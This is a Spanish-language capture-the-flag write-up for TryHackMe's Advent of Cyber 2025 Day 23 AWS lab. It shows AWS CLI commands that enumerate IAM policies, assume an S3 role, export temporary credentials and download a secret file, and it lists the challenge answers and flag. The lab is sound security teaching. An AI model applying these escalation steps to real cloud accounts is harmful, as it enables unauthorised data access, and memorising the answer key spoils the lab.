Day 23: S3cret Santa - Advent of Cyber 2025

xhetic

xhetic

@xhetic

TryHackMeAdventOfCyberCloud
Day 23: S3cret Santa - Advent of Cyber 2025

📚 Esta publicación pertenece a las colecciones:

Day 23: S3cret Santa - Advent of Cyber 2025

Este writeup pertenece al evento Advent of Cyber 2025 de TryHackMe. Hoy trabajamos con credenciales AWS ya configuradas en la máquina y aprovechamos malas configuraciones de IAM para encontrar datos sensibles en S3.

Room: AWS Security - S3cret Santa
Dificultad: Easy


🔐 Primeros pasos: Comprobando las credenciales AWS

Lo primero es verificar que las credenciales que ya están configuradas funcionan. Uso el comando de STS que nos devuelve la identidad asociada a las credenciales configuradas:

aws sts get-caller-identity

En mi caso la salida muestra el campo Account con un número que identifica la cuenta AWS:

{
  "UserId": "j8xuqmb80cwf7jkkqgsq",
  "Account": "123456789012",
  "Arn": "arn:aws:iam::123456789012:user/sir.carrotbane"
}

Pregunta: What is the number shown for the "Account" parameter?

Respuesta: 123456789012


🧭 Entendiendo IAM rápidamente

IAM (Identity and Access Management) controla quién puede hacer qué en AWS. Los permisos se describen mediante policies — documentos JSON que definen acciones, recursos y condiciones. Es fundamental revisar las políticas adjuntas a un usuario antes de intentar realizar acciones más agresivas.

Pregunta: What IAM component is used to describe the permissions to be assigned to a user or a group?

Respuesta: Policy


🕵️‍♂️ Enumerando políticas del usuario

Con las credenciales configuradas, enumero las políticas en línea asignadas al usuario objetivo:

aws iam list-user-policies --user-name sir.carrotbane

La respuesta muestra el nombre de la policy en línea asignada:

{
  "PolicyNames": [
    "SirCarrotbanePolicy"
  ]
}

Pregunta: What is the name of the policy assigned to sir.carrotbane?

Respuesta: SirCarrotbanePolicy


🛡️ Buscando vectores de escalada: roles asumibles

El siguiente paso es comprobar si el usuario puede asumir roles (sts:AssumeRole). Si es así, podemos obtener privilegios temporales a través de STS.

  1. Listo los roles disponibles:
aws iam list-roles
  1. Encuentro el rol bucketmaster y compruebo sus políticas:
aws iam list-role-policies --role-name bucketmaster
aws iam get-role-policy --role-name bucketmaster --policy-name BucketMasterPolicy

La política del rol muestra permisos sobre S3, por ejemplo ListAllMyBuckets, ListBucket y GetObject. Esto nos da acceso de lectura sobre buckets y objetos.

Pregunta: Apart from GetObject and ListBucket, what other action can be taken by assuming the bucketmaster role?

Respuesta: ListAllMyBuckets


🧾 Asumiendo el rol y obteniendo credenciales temporales

Asumo el rol bucketmaster con STS:

aws sts assume-role --role-arn arn:aws:iam::123456789012:role/bucketmaster --role-session-name TBFC

La salida contiene credenciales temporales (AccessKeyID, SecretAccessKey, SessionToken). Las exporto al entorno para usarlas con la CLI:

export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="abcd..."
export AWS_SESSION_TOKEN="FwoGZXIv..."
 
aws sts get-caller-identity

Al volver a ejecutar get-caller-identity compruebo que ahora opero como la identidad asumida:

{
  "UserId": "AROARZPUZDIKFYG6ZG5MM:TBFC",
  "Account": "123456789012",
  "Arn": "arn:aws:sts::123456789012:assumed-role/bucketmaster/TBFC"
}

📦 Explorando S3 y exfiltrando secretos

Con los permisos del rol puedo listar buckets y revisar su contenido.

aws s3api list-buckets
aws s3api list-objects --bucket easter-secrets-123145

Encuentro un fichero interesante cloud_password.txt. Lo descargo localmente:

aws s3api get-object --bucket easter-secrets-123145 --key cloud_password.txt cloud_password.txt
cat cloud_password.txt

Pregunta: What are the contents of the cloud_password.txt file?

Respuesta: THM{more_like_sir_cloudbane}


🏁 Conclusión

Este reto demuestra la importancia de auditar recursos IAM y de aplicar el principio de privilegio mínimo. Un usuario con permiso para sts:AssumeRole puede pivotar a roles con acceso a datos sensibles (como buckets S3) si las políticas no están bien diseñadas.

Si te perdiste el reto de ayer, echa un vistazo al Día 22: Command & Carol.

Recuerda que puedes seguir toda la serie de retos en nuestra colección completa del Advent of Cyber 2025.

¡Nos vemos mañana para más hacking navideño! 🎄

~ Xhetic